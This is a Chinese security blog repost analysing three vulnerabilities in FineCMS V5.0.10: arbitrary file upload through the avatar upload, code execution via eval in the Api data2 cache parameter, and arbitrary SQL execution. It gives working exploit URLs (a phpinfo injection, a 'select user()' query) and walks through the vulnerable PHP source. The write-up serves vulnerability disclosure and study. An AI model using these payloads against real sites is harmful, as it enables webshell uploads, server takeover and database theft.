FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

颓废 2019年5月19日09:59:22评论1,261 views字数 6346阅读21分9秒阅读模式
摘要

注册个用户,修改头像,选择一张图片马: 抓包,修改post中tx参数中的jpg为php:

0x1 Payload
0x11 任意文件上传

注册个用户,修改头像,选择一张图片马:

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

抓包,修改post中tx参数中的jpg为php:

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

getshell:

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

目录中的1位用户id,稍微爆破一下即可。
(PS:可以在cookie中可以看到uid)
0x12 任意代码执行

index.php?c=api&m=data2&auth=e174c30q733kceb0r4kkh5m8u3p1jnh6&param=action=cache%20name=MEMBER.1'];phpinfo();$a=['1

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

其中auth为:

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

24b16fede9a67c9251d3e7c7161c83ac

的md5值
0x13 任意SQL语句执行

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql='select%20user();'

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

auth值同上
0x2 代码分析
0x21 任意文件上传
/finecms/dayrui/controllers/member/Account.php 177~244

/**  *  上传头像处理  *  传入头像压缩包,解压到指定文件夹后删除非图片文件  */ public function upload() {      // 创建图片存储文件夹     $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';     @dr_dir_delete($dir);     !is_dir($dir) && dr_mkdirs($dir);      if ($_POST['tx']) {         $file = str_replace(' ', '+', $_POST['tx']);         if (preg_match('/^(data:/s*image//(/w+);base64,)/', $file, $result)){             $new_file = $dir.'0x0.'.$result[2];             if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {                 exit(dr_json(0, '目录权限不足或磁盘已满'));             } else {                 $this->load->library('image_lib');                 $config['create_thumb'] = TRUE;                 $config['thumb_marker'] = '';                 $config['maintain_ratio'] = FALSE;                 $config['source_image'] = $new_file;                 foreach (array(30, 45, 90, 180) as $a) {                     $config['width'] = $config['height'] = $a;                     $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];                     $this->image_lib->initialize($config);                     if (!$this->image_lib->resize()) {                         exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));                         break;                     }                 }                 list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);                 !$type && exit(dr_json(0, '图片字符串不规范'));             }         } else {              exit(dr_json(0, '图片字符串不规范'));         }     } else {         exit(dr_json(0, '图片不存在'));     }  // 上传图片到服务器     if (defined('UCSSO_API')) {         $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));         !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));     }       exit('1'); }

不用多解释了,直接任意文件上传。。
0x22 任意代码执行&&任意SQL语句执行
先说一下auth:
config.php

$config['sess_cookie_name'] = $site['SYS_KEY'].'_ci_session';

/finecms/dayrui/controllers/Api.php

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

直接可以在cookie中获取。
问题其实都出在了data2()这一个函数
/finecms/dayrui/controllers/Api.php

/**  * 自定义数据调用(新版本)  */ public function data2() {      $data = array();      // 安全码认证     $auth = $this->input->get('auth', true);     if ($auth != md5(SYS_KEY)) {         // 授权认证码不正确         $data = array('msg' => '授权认证码不正确', 'code' => 0);     } else {         // 解析数据         $cache = '';         $param = $this->input->get('param');         if (isset($param['cache']) && $param['cache']) {             $cache = md5(dr_array2string($param));             $data = $this->get_cache_data($cache);         }         if (!$data) {              // list数据查询             $data = $this->template->list_tag($param);             $data['code'] = $data['error'] ? 0 : 1;             unset($data['sql'], $data['pages']);              // 缓存数据             $cache && $this->set_cache_data($cache, $data, $param['cache']);         }     }      // 接收参数     $format = $this->input->get('format');     $function = $this->input->get('function');     if ($function) {         if (!function_exists($function)) {             $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);         } else {             $data = $function($data);         }     }      // 页面输出     if ($format == 'php') {         print_r($data);     } elseif ($format == 'jsonp') {         // 自定义返回名称         echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';     } else {         // 自定义返回名称         echo $this->callback_json($data);     }     exit; }

为什么说出在了这一个函数,因为通过这个函数可以调用到其他敏感函数,本来系统封装的函数不是给用户使用的。
可以看到,传入的参数直接进了$data = $this->template->list_tag($param);,这个函数里有什么,来截一部分:
/finecms/dayrui/libraries/Template.php

switch ($system['action']) {      case 'cache': // 系统缓存数据          if (!isset($param['name'])) {             return $this->_return($system['return'], 'name参数不存在');         }          $pos = strpos($param['name'], '.');         if ($pos !== FALSE) {             $_name = substr($param['name'], 0, $pos);             $_param = substr($param['name'], $pos + 1);         } else {             $_name = $param['name'];             $_param = NULL;         }          $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);         if (!$cache) {             return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");         }          if ($_param) {             $data = array();             @eval('$data=$cache'.$this->_get_var($_param).';');             if (!$data) {                 return $this->_return($system['return'], "缓存({$_name})参数不存在!!");             }         } else {             $data = $cache;         }          return $this->_return($system['return'], $data, '');         break;      ...      case 'sql': // 直接sql查询          if (preg_match('/sql=/'(.+)/'/sU', $_params, $sql)) {               // 数据源的选择             $db = $this->ci->db;              // 替换前缀             $sql = str_replace(                 array('@#S', '@#'),                 array($db->dbprefix.$system['site'], $db->dbprefix),                 trim(urldecode($sql[1]))             );             if (stripos($sql, 'SELECT') !== 0) {                 return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');             }              $total = 0;             $pages = '';              // 如存在分页条件才进行分页查询             if ($system['page'] && $system['urlrule']) {                 $page = max(1, (int)$_GET['page']);                 $row = $this->_query(preg_replace('/select /* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);                 $total = (int)$row['c'];                 $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;                 // 没有数据时返回空                 if (!$total) {                     return $this->_return($system['return'], '没有查询到内容', $sql, 0);                 }                 $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;                 $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);             }              $data = $this->_query($sql, $system['site'], $system['cache']);             $fields = NULL;              if ($system['module']) {                 $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段             }              if ($fields) {                 // 缓存查询结果                 $name = 'list-action-sql-'.md5($sql);                 $cache = $this->ci->get_cache_data($name);                 if (!$cache && is_array($data)) {                     // 模型表的系统字段                     $fields['inputtime'] = array('fieldtype' => 'Date');                     $fields['updatetime'] = array('fieldtype' => 'Date');                     // 格式化显示自定义字段内容                     foreach ($data as $i => $t) {                         $data[$i] = $this->ci->field_format_value($fields, $t, 1);                     }                     //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);                     $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;                 }                 $data = $cache;             }             return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);         } else {             return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容         }         break;      ... }

任意SQL语句执行到这里就不用说了。
再说一下代码执行的构造

FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

只需使$cache有返回值就可以执行eval()了了,看一下_cache_var()函数:

public function _cache_var($name, $site = SITE_ID) {      $data = NULL;     $name = strtoupper($name);      switch ($name) {         case 'MEMBER':             $data = $this->ci->get_cache('member');             break;         case 'URLRULE':             $data = $this->ci->get_cache('urlrule');             break;         case 'MODULE':             $data = $this->ci->get_cache('module');             break;         case 'CATEGORY':             $site = $site ? $site : SITE_ID;             $data = $this->ci->get_cache('category-'.$site);             break;         default:             $data = $this->ci->get_cache($name.'-'.$site);             break;     }      return $data; }

只需name等于其中的几个值就可以,接下来就是根据_get_var()函数构造payload了:

public function _get_var($param) {      $array = explode('.', $param);     if (!$array) {         return '';     }      $string = '';     foreach ($array as $var) {         $string.= '[';         if (strpos($var, '$') === 0) {             $string.= preg_replace('//[(.+)/]/U', '[/'//1/']', $var);         } elseif (preg_match('/[A-Z_]+/', $var)) {             $string.= ''.$var.'';         } else {             $string.= '/''.$var.'/'';         }         $string.= ']';     }      return $string; }

就两个正则,稍微构造下就OK了
0x3 其他
另外这个地方,利用任意SQL语句返回$data也能造成代码执行,不分析了。
FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞

听说finecms都能申请cve了,早没看,简直是程序员开发出来给刷cve的==、

作者:p0

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:59:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行多个漏洞https://cn-sec.com/archives/68390.html

发表评论

匿名网友 填写信息